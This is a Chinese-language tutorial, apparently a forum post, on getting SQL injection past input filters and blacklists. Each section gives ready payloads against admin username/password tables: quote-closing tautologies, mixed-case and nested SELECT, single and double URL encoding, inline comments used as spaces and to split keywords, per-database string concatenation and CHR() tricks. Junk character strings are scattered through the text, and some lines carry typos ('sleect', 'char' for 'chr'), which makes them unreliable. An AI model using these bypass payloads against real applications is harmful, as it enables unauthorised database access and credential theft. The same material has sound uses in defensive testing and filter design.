SQL注入。有攻有防。知道进攻。才懂得防守.
. n) L+ a4 z" R. T/ [; Z& ]9 X+ `/ D2 F6 ^# \; s b8 _
有的时候,很容易受到SQL注入攻击的程序,可能会进行输入过滤,用来防止攻击者无限制的利用其中存在的设计缺陷。
2 m5 c- M8 t9 W) u7 ]3 _) F' q- d
唱出会删除或者净化一些字符,或者阻止常用的sql关键词。+ z( _: b( o- j( s+ \( |- V. N
, F( P# G* M+ q. K2 `: d
我们通常有以下几种技巧,去避开这些过滤。5 F- {$ ?# i$ D# o
/ f5 V4 ?5 Y, l- P. e5 r1,避免使用被阻止的字符,即不使用这些字符仍然达到攻击目的。- p: `2 m, D- z3 Q% Q
~3 r( _* g6 o' F% D$ {' nA,如果注入一个数字数据字段,就不需要使用单引号。
3 ]+ f1 a: _8 R4 _+ f
f( G Z# P' q% |/ S& o* DB,输入注释符号被阻止使用,我们可以设计注入的数据,既不破坏周围的查询语法。8 L, j; R2 \$ e
# Q" w1 n& s) K比如, ?id=1′ 这里存在注入,过滤了注释符合,我们可以输入 ?id=1′ or ‘a’=’a
( F9 H$ b! L ^* j" L! }1 H7 Y. w0 A. _6 R- D: q
目的其实很简单,就是把后面的单引号给闭合掉。1 B' H5 P: L/ V$ D& t! y
0 z% ]7 s, `8 e
C,在一个MSSQL注入中注入批量查询的时候,不必使用分号分隔符。
5 k; Z9 p% ] f6 d" {9 `0 c
: C O- j6 T6 |% b+ i" w* s只要纠正所有批量查询的语法,无论你是否使用分号,查询的解析器依然能正确的去解释它们的。
' l7 }0 S T3 V% e7 p2 [, D* s! E1 u2 V) K
2,避免使用简单确认
" K! t+ s; D' f. }, ^/ k& h( ~/ A3 @5 ]1 b
一些输入确认机制使用一个简单的黑名单,组织或删除任何出现在这个名单中的数据,比如防注入程序。
4 r& c) j2 U3 ~ v% |, d
% K, c4 I5 [4 L% q8 W# e2 X这一般要看这个机制是否做的足够的好了,黑名单是否足够能确保安全。如果只是简单的黑名单,那也有机会突破的。- H& p( `8 R# j% X Q
0 ?; t0 `3 [$ `- y8 wA,如果select关键词被阻止或删除. L& t' |( B" b
) E2 U5 F' ^: w( y0 P我们可以输入:$ g! y3 ~: e' x& T6 v
; U3 o* D8 s: s, ZSeLeCt 注意大小写/ x. Y9 B- r) l/ T d5 f
9 D4 R& n0 q2 J# \
selselectect 还记得ewebeditor是怎么过滤asp的么?: r: B, N4 q# |' k2 M
3 f3 c5 Z) e& h
%53%45%4c%45%43%54 URL编码* s* j- \) \( J9 h6 k
A# v) Q$ `. N a%2553%2545%254c%2545%2543%2554 对上面的每个%后加了一个25
9 q4 c; e }- x- E8 A$ d
2 y2 d/ r6 ~, L3,使用SQL注释符
! L! u8 h7 Z1 D! A8 I6 b* j/ q: f6 E/ i+ R
A,使用注释来冒充注入的数据中的空格。/ H1 x, T+ ^+ F; s( K; Y. n6 K
' O& K1 R( t9 F$ D7 E6 P+ L
select/*yesu*/username,password/*yesu*/from/*yesu*/admin
+ b. T3 p, I7 @; i; l% H" y) \$ ]
/*yesu*/来冒充空格0 ~" o! k" S5 z2 Y* ~ Q; P* P4 |
7 e% o+ d0 Q: W# r, @% u
B,使用注释来避开某些注入的确认过滤。. _1 [% \2 D" R* D$ u/ K2 @
( }) g) k7 M, ]# x* cSEL/*yesu*/ECT username,password fr/*yesu*/om admin
" s3 n7 k" y- T+ q2 \9 [
8 p$ ^: g5 r- _8 `4,处理被阻止的字符串
+ N7 C# M/ ]$ l! b* O. S, O+ X5 _, |6 r, m
比如,程序阻止了admin,因为怕攻击者注入admin表单中的数据。
6 Y7 Z1 f& }" v9 A8 F
' p, e5 R8 i2 l$ Z我们可以这样
; o; u3 ^8 |# Q
! m8 \6 E4 M6 H7 V! Q8 TA,oracle数据库: ‘adm’||’in’
3 ?. E. _& g3 B. g* {4 G* l9 b6 e) Q1 E& `6 h( [: @5 ^6 C! H
B,MSSQL数据库: ‘adm’+’in’
, e1 ?/ Q; A" E6 u& U
5 _* _1 ~) |/ {. ]! I" hC,MYSQL数据库: concat (‘adm’,’in’)
3 R- D9 i4 Q# B' J7 c9 Y. S
) P8 m7 X$ M' s5 L3 o) c8 vD,oracle中如果单引号被阻止了,还可以用chr函数$ S/ Z9 B" T9 Y
3 C7 v2 b7 n# g8 u! I' d6 Q
sleect password from admin where username = char(97) || chr(100) || chr(109) || chr(105) || chr(110), p# V6 S; ?' z: T. {
1 D7 u0 f! N, Y V1 u' R! ]还有其他方法。正在收集中.5 a6 D2 i6 K# ]7 ~
- \! V* i- P* ]6 v! m' G0 r
|